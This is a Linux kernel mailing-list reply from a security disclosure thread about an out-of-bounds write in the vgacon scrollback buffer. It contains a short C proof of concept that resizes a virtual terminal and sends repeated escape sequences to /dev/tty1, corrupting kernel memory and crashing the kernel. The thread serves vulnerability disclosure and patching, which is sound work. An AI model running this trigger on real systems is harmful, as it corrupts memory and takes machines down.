Re: [PATCH] vgacon: fix out of bounds write to the scrollback buffer

From: Jiri Slaby <jirislaby@kernel.org>
To: 张云海 <zhangyunhai@nsfocus.com>, b.zolnierkie@samsung.com
Cc: linux-kernel@vger.kernel.org,
	Yang Yingliang <yangyingliang@huawei.com>,
	Kyungtae Kim <kt0755@gmail.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Greg KH <greg@kroah.com>, Solar Designer <solar@openwall.com>,
	"Srivatsa S. Bhat" <srivatsa@csail.mit.edu>,
	Anthony Liguori <aliguori@amazon.com>,
	Security Officers <security@kernel.org>,
	linux-distros@vs.openwall.org, dri-devel@lists.freedesktop.org,
	linux-fbdev@vger.kernel.org
Subject: Re: [PATCH] vgacon: fix out of bounds write to the scrollback buffer
Date: Wed, 29 Jul 2020 13:20:00 +0200	[thread overview]
Message-ID: <d0cc1f99-1ef0-c7a2-6b42-d25d8fa49f1e@kernel.org> (raw)
In-Reply-To: <c5a73038-f441-602b-584b-3d84622b1fb1@nsfocus.com>

On 29. 07. 20, 10:19, 张云海 wrote:
> On 2020/7/29 16:11, Jiri Slaby wrote:
>> But the loop checks for the overflow:
>>   if (vgacon_scrollback_cur->tail >= vgacon_scrollback_cur->size)
>>         vgacon_scrollback_cur->tail = 0;
>>
>> So the first 2 iterations would write to the end of the buffer and this
>> 3rd one should have zeroed ->tail.
> 
> In the 2nd  iteration before the check:
> vgacon_scrollback_cur->tail is 65360 which is still less then
> vgacon_scrollback_cur->size(65440), so the ->tail won't be zeroed.
> 
> Then it gose to the 3rd  iteration, overflow occurs.

Ahh, I see now! So it must be triggered by CSI M instead. It allows for
more than 1 in count. So this is PoC for this case:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>

int main(int argc, char** argv)
{
        int fd = open("/dev/tty1", O_RDWR);
        unsigned short size[3] = {25, 200, 0};
        ioctl(fd, 0x5609, size); // VT_RESIZE

        write(fd, "\e[1;1H", 6);
        for (int i = 0; i < 30; i++)
                write(fd, "\e[10M", 5);
}

It corrupts memory, so it crashes the kernel randomly. Even with my
before-loop patch.

So now: could you resend your patch with improved commit message, add
all those Ccs etc.? You can copy most of the Ccs from my patch verbatim.

I am also not sure the test I was pointing out on the top of this
message would be of any use after the change. But maybe leave the code
rest in peace.

thanks,
-- 
js
suse labs